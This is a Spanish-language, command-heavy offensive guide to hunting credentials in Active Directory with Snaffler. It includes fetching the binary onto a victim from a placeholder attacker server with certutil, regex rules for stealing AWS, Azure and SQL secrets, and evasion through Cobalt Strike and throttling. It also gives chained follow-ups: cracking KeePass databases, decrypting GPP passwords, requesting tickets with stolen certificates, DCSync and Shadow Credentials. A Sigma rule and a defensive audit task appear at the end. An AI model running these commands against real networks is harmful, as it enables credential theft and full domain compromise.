Snaffler: Caza de credenciales en AD

# Descargar el release mas reciente
Invoke-WebRequest -Uri 'https://github.com/SnaffCon/Snaffler/releases/latest/download/Snaffler.exe' `
  -OutFile 'C:\Tools\Snaffler.exe'

# Verificar que funciona
C:\Tools\Snaffler.exe --help

# Clonar el repositorio
git clone https://github.com/SnaffCon/Snaffler.git
cd Snaffler

# Compilar con MSBuild (requiere Visual Studio Build Tools)
msbuild Snaffler.sln /p:Configuration=Release

# El binario estara en:
# Snaffler\bin\Release\Snaffler.exe

# Servidor HTTP en atacante (Kali):
python3 -m http.server 8080

# En la victima Windows (PowerShell):
Invoke-WebRequest -Uri 'http://ATACANTE:8080/Snaffler.exe' -OutFile 'C:\Temp\Snaffler.exe'

# Alternativa con certutil:
certutil.exe -urlcache -split -f http://ATACANTE:8080/Snaffler.exe Snaffler.exe

Snaffler.exe [opciones]

# Opciones principales:
-s             Solo escanear (output a stdout, sin escribir a disco)
-o <fichero>   Guardar resultados en fichero de log
-v <level>     Verbosidad: Trace, Debug, Info, Data, Warn, Error, Fatal
-l <nivel>     Nivel minimo de severidad: Black, Red, Yellow, Green
-m <MB>        Tamano maximo de archivo a leer (default: 500 KB)
-t <threads>   Numero de hilos (default: 30)
-d <dominio>   Especificar dominio AD manualmente
-c <DC>        Controlador de dominio a consultar
-i <share>     Escanear un share especifico
-n             No enumerar shares (solo los de -i)
-r <reglas>    Fichero de reglas personalizado (Toml)

# Ejecucion basica - Snaffler detecta el dominio automaticamente
Snaffler.exe -s -v Data

# Con salida a fichero de log
Snaffler.exe -o C:\Temp\snaffler_output.log -v Data

# Mostrar solo hallazgos Red y Black (mas criticos)
Snaffler.exe -s -l Red -v Data

# Cuando Snaffler no detecta el dominio automaticamente
Snaffler.exe -s -d corp.local -c dc01.corp.local -v Data

# Usando credenciales especificas (algunas versiones):
Snaffler.exe -s -d corp.local -u auditor -p 'P@ssw0rd!' -v Data

# Escanear un share concreto sin enumerar el dominio
Snaffler.exe -i \\SERVIDOR\Compartido -n -v Data

# Multiples shares (separados por coma)
Snaffler.exe -i \\SRV01\SYSVOL,\\SRV02\Backup -n -v Data

# Por defecto Snaffler no lee archivos > 500 KB
# Aumentar el limite a 5 MB:
Snaffler.exe -s -m 5000 -v Data

# Para archivos de base de datos y backups grandes:
Snaffler.exe -s -m 50000 -v Data

[Data] [Yellow] {SomeRule} \\SRV01\IT\Scripts\install.bat (18.3 KB) [Rule: PasswordInFileContent] -> 'set DB_PASS=Sup3rS3cret!'

# Snaffler escaneara SYSVOL automaticamente
# Para hacerlo explicito:
Snaffler.exe -i \\corp.local\SYSVOL -n -v Data -o sysvol_results.log

Snaffler.exe -i \\SRV-IT-01 -v Data -o it_shares.log

# mi_config.toml

[classifiers]

  [[classifiers.rules]]
  RuleName = "DetectarTokensAWS"
  EnumerationScope = "FileEnumeration"
  MatchAction = "Snaffle"
  Severity = "Red"
  Description = "AWS Access Key ID detectado"
  ContentRegex = "AKIA[0-9A-Z]{16}"

  [[classifiers.rules]]
  RuleName = "ArchivoKeePass"
  EnumerationScope = "FileEnumeration"
  MatchAction = "Snaffle"
  Severity = "Black"
  Description = "Base de datos KeePass"
  FileExtensionRegex = "\\.kdbx$"

# Usar fichero de reglas personalizado
Snaffler.exe -s -r C:\Tools\mi_config.toml -v Data

# Detectar connection strings de SQL Server
[[classifiers.rules]]
RuleName = "SQLConnectionString"
EnumerationScope = "ContentsEnumeration"
MatchAction = "Snaffle"
Severity = "Red"
ContentRegex = "(Data Source|Server)=[\w\.-]+;.*Password=[^;]+"

# Detectar private keys de Azure Service Principal
[[classifiers.rules]]
RuleName = "AzureClientSecret"
EnumerationScope = "ContentsEnumeration"
MatchAction = "Snaffle"
Severity = "Red"
ContentRegex = "clientSecret.*[\"']([a-zA-Z0-9~_.]{34,40})[\"']"

# Detectar Ansible vault password files
[[classifiers.rules]]
RuleName = "AnsibleVault"
EnumerationScope = "ContentsEnumeration"
MatchAction = "Snaffle"
Severity = "Red"
ContentRegex = "\$ANSIBLE_VAULT"

# Ejecutar sin escribir a disco via C2 (Cobalt Strike):
execute-assembly /path/to/Snaffler.exe -s -l Red -v Data

# Limitar threads para reducir ruido en logs de red:
Snaffler.exe -s -t 5 -l Red -v Data

# Escanear solo un share a la vez para evasion:
Snaffler.exe -i \\TARGET\Share -n -s -t 2 -v Data

# 1. Snaffler encuentra: [Black] \\SRV\Users\jdoe\passwords.kdbx

# 2. Copiar el archivo
Copy-Item '\\SRV\Users\jdoe\Documents\passwords.kdbx' C:\Temp\

# 3. Extraer el hash con keepass2john (en Kali)
keepass2john passwords.kdbx > keepass.hash

# 4. Crackear con Hashcat (modo 13400 = KeePass)
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt

# 5. Abrir la base de datos con la contrasena encontrada
keepassxc-cli open corporate_passwords.kdbx

# Snaffler detecta cpassword en Groups.xml de SYSVOL
# Ejemplo de hallazgo:
# \\corp.local\SYSVOL\corp.local\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml

# Descifrar con PowerSploit:
Get-GPPPassword

# O con CrackMapExec:
cme smb TARGET -u user -p pass --gpp-passwords

# O con Impacket:
Get-GPPPassword.py -dc-ip DC_IP corp.local/user:pass

# Snaffler encontrara archivos .pfx, .p12, .cer
# Con un certificado de maquina o usuario podemos:

# 1. Solicitar TGT con el certificado (PKINIT)
Rubeus.exe asktgt /user:TargetUser /certificate:cert.pfx /password:pfxpass /ptt

# 2. Si tenemos cert de DC -> DCSync
secretsdump.py -just-dc corp.local/DC01$ -k -no-pass -dc-ip DC_IP

# 3. Shadow Credentials attack si tenemos permisos de escritura
Whisker.exe add /target:TargetUser

# Cargar el log de Snaffler
$log = Get-Content C:\Temp\snaffler_output.log

# Filtrar solo hallazgos Black (criticos)
$log | Where-Object { $_ -match '\[Black\]' }

# Filtrar Red y Black juntos
$log | Where-Object { $_ -match '\[Red\]|\[Black\]' }

# Contar hallazgos por nivel
$log | Select-String -Pattern '\[(Black|Red|Yellow|Green)\]' |
  ForEach-Object { $_.Matches[0].Groups[1].Value } |
  Group-Object | Sort-Object Count -Descending

#!/usr/bin/env python3
import re, sys
from collections import defaultdict

LEVELS = ['Black', 'Red', 'Yellow', 'Green']
results = defaultdict(list)

with open(sys.argv[1]) as f:
    for line in f:
        for level in LEVELS:
            if f'[{level}]' in line:
                results[level].append(line.strip())
                break

print('=== RESUMEN DE HALLAZGOS SNAFFLER ===')
for level in LEVELS:
    print(f'\n[{level}] - {len(results[level])} hallazgo(s):')
    for r in results[level][:10]:  # Top 10 por nivel
        print(f'  {r[:200]}')

# Uso: python3 parse_snaffler.py snaffler_output.log

# Regla Sigma: Enumeracion masiva de shares via SMB
title: Snaffler-like SMB Share Enumeration
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detecta enumeracion masiva de shares SMB
logsource:
  category: network_connection
  product: windows
detection:
  selection:
    EventID: 3
    DestinationPort: 445
  condition: selection | count() by SourceIp > 100 in 60s
falsepositives:
  - Herramientas de backup legitimas
level: high

# Programar tarea mensual de auditoria defensiva:
$action = New-ScheduledTaskAction -Execute 'C:\Tools\Snaffler.exe' `
  -Argument "-d corp.local -o C:\Audit\snaffler_$(Get-Date -f 'yyyyMMdd').log -l Yellow -v Data"
$trigger = New-ScheduledTaskTrigger -Monthly -DaysOfMonth 1 -At 02:00
Register-ScheduledTask -TaskName 'ShareAudit_Snaffler' `
  -Action $action -Trigger $trigger `
  -RunLevel Highest -User 'CORP\AuditSvcAccount'